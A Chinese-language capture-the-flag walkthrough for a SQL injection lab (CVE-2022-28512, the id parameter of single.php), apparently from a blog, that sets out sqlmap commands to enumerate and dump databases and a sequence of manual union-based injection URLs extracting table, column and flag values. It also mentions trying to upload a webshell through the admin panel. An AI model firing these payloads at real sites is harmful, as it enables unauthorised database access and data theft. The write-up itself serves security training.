春秋云境CVE-2022-28512(手工注入和sqlmap自动)保姆级教学

1.阅读靶场介绍

这里我们可以得到的信息就是三个关键字眼

第一个是路径/single.php

第二个是参数id

第三个是sql注入

好啦,带着这些字眼直接单刀直入就好

2.启动靶场

我们会得到一个如下的页面

这里是博主的一点小思路,关于sql注入的

拿到靶场我们有三看

一看url是否出现那些id=某个参数的出现

二看是否有输入框,测试一下万能语句

三看有没有后台登入的接口

3.登入后台(这里是一个试错的过程,想看怎么攻克的请看4.poc自动注入/5.poc手工注入)

这里我们直接点击sign in

会出现一个如下的页面

这里的账号密码是admin/admin

进入后台以后是这样的

这里博主就讲讲我测试了什么但是无功而返

首先我去测试了有文件上传的位置看看能不能直接上木马

这里我发现的是做了限制,抓包也没有办法绕过,只允许上传png/jpg等等的格式

然后博主点开了很多页面,看了url是否有xxx=xxx这些参数

以及/single.php这个路径是否有出现

结论是后台没有我需要的东西

4.poc(sqlmap自动注入)

我们回到最初

去寻找我们的关键路径/single.php

于是我直接f12然后搜索single.php

发现是可以直接找出来的

这里我们直接就是访问这个url

https://eci-2zejcgfczi3hicqgigtz.cloudeci1.ichunqiu.com/single.php?id=1

我们会得到一个如下的页面

这里博主先讲一下是如何sqlmap注入的

我们直接启动sqlmap工具

然后输入如下命令

sqlmap.py -u https://eci-2zejcgfczi3hicqgigtz.cloudeci1.ichunqiu.com/single.php?id=1 --batch

结果是

存在时间盲注、联合查询、布尔盲注、错误注入

接下来执行这个命令,去爆数据库

sqlmap.py -u https://eci-2zejcgfczi3hicqgigtz.cloudeci1.ichunqiu.com/single.php?id=1 --batch --dbs

结果是

这里博主讲一下自己的拙见,一般数据库都是存在后面三个数据库的

所以一般注入就是通过ctf来找flag的

接下来我们执行这个命令,这里我们去爆ctf这个数据库的表出来

sqlmap.py -u https://eci-2zejcgfczi3hicqgigtz.cloudeci1.ichunqiu.com/single.php?id=1 --batch -D ctf --tables

结果是

最后就是show hand就完事了

直接执行这个

sqlmap.py -u https://eci-2zejcgfczi3hicqgigtz.cloudeci1.ichunqiu.com/single.php?id=1 --batch -D ctf -T flag --dump

结果是

到此,博主就讲完sqlmap这种的注入方法了

5.poc手工注入

接下来博主就讲一下怎么样去完成手工注入的

第一步:首先是我们去测试一下是不是数字型

测试如下

https://eci-2zejcgfczi3hicqgigtz.cloudeci1.ichunqiu.com:80/single.php?id=1%20and%201=1%20#

以及

https://eci-2zejcgfczi3hicqgigtz.cloudeci1.ichunqiu.com:80/single.php?id=1%20and%201=2%20#

发现页面是正常的,结论是不属于数字型注入

第二步:接下来去尝试字符型,我们去测试这条语句

https://eci-2zejcgfczi3hicqgigtz.cloudeci1.ichunqiu.com:80/single.php?id=1%27

第三步:接下里是爆字段个数,我们要从1一直加到页面报错如下所示

这里博主测试的语句如下

https://eci-2zec64p3l5yzuqmcqpml.cloudeci1.ichunqiu.com:80/single.php?id=1%27%20order%20by%209%20--+

这里我们能得到的信息就是一共有九个字段

第四步:爆出显示的位置

这里博主测试的语句如下

https://eci-2zec64p3l5yzuqmcqpml.cloudeci1.ichunqiu.com:80/single.php?id=-1%27%20union%20select%201,2,3,4,5,6,7,8,9--+

这里要特别说明id后面的数字要是错误的才可以,就是非1~9

结论是:这里就是用联合查询去得到那些显位,这里显位为2与4

第五步:爆数据库的名字

这里博主测试的语句是,利用刚刚得到的显示位置得到数据库

https://eci-2zec64p3l5yzuqmcqpml.cloudeci1.ichunqiu.com:80/single.php?id=100%27%20union%20select%201,2,3,database(),5,6,7,8,9--+

第六步:爆数据库对应的表名

这里博主的测试语句是

https://eci-2zec64p3l5yzuqmcqpml.cloudeci1.ichunqiu.com:80/single.php?id=100%27%20union%20select%201,2,3,group_concat(table_name),5,6,7,8,9%20from%20information_schema.tables%20where%20table_schema=database()--+

结果是得到了flag这个表的名字

第七步:爆表的字段名

这里博主的测试语句如下

https://eci-2zec64p3l5yzuqmcqpml.cloudeci1.ichunqiu.com:80/single.php?id=100%27%20union%20select%201,2,3,group_concat(column_name),5,6,7,8,9%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%22flag%22--+

这里我们可以得到的就是flag表里有一个flag字段名

第八步:这里我们爆出字段里的全部内容

直接show handhttps://eci-2zec64p3l5yzuqmcqpml.cloudeci1.ichunqiu.com:80/single.php?id=100%27%20union%20select%201,2,3,group_concat(flag),5,6,7,8,9%20from%20flag%20--+

到此我们就完成手注了

恭喜各位彦祖和亦非们又攻克一个靶场了

篇幅非常长,感谢各位花费宝贵的时间来看博主的拙见

创作不易,期待各位留下点赞和关注

期待博主打什么靶场的话欢迎留言哟

感谢你们宝贵的时间

相关推荐
山东科恩光电9 小时前
安全地毯压敏传感防护在工业机器人与流水线区域的耐腐蚀材质及快速停机应用
安全
奈落2415 小时前
AI辅助的另一面:从2026年国际AI安全报告的“故障”清单到国内专家的可靠性短板,自主行动的Agent为什么更难及时干预
人工智能·安全·agent·本地部署·ai 办公
赛博守夜人20 小时前
AI安全攻防与治理之十六:对抗样本、恶意文件与多模态攻击,AI 内容安全检测的真实盲区
人工智能·安全
ZEB11061 天前
首届安全应急救援机器人大赛在广州举办 深圳璇玑动力斩获多项冠军
安全·机器人·消防
未来之窗软件服务1 天前
WAF负载均衡+蜜罐混淆安全体系-东方仙盟
运维·安全·负载均衡·仙盟创梦ide·东方仙盟·阿雪技术观·网关开发
高德开放平台1 天前
构建“车-云-端”安全闭环:新大洲本田通过高德开放平台接入“鹰眼守护预警系统”
安全
dora1 天前
接口被疯狂调用怎么办?聊聊接口限流
后端·安全
国科安芯1 天前
长期在轨的计算底座:商业空间站与在轨服务飞行器健康管理中的抗辐射MCU—— 面向可维护空间平台的分层容错与安全通信综述
人工智能·单片机·嵌入式硬件·安全·低轨卫星·抗辐射
kingx31 天前
Bugku WEB 题解总集:文件包含 / SQLi / 反序列化 / SSTI / 反爬 / 组件漏洞
web安全·网络安全·ctf·bugku
衡石科技1 天前
让多轮问数保持口径一致:Data Agent 的上下文、偏好与学习开关
人工智能·学习·安全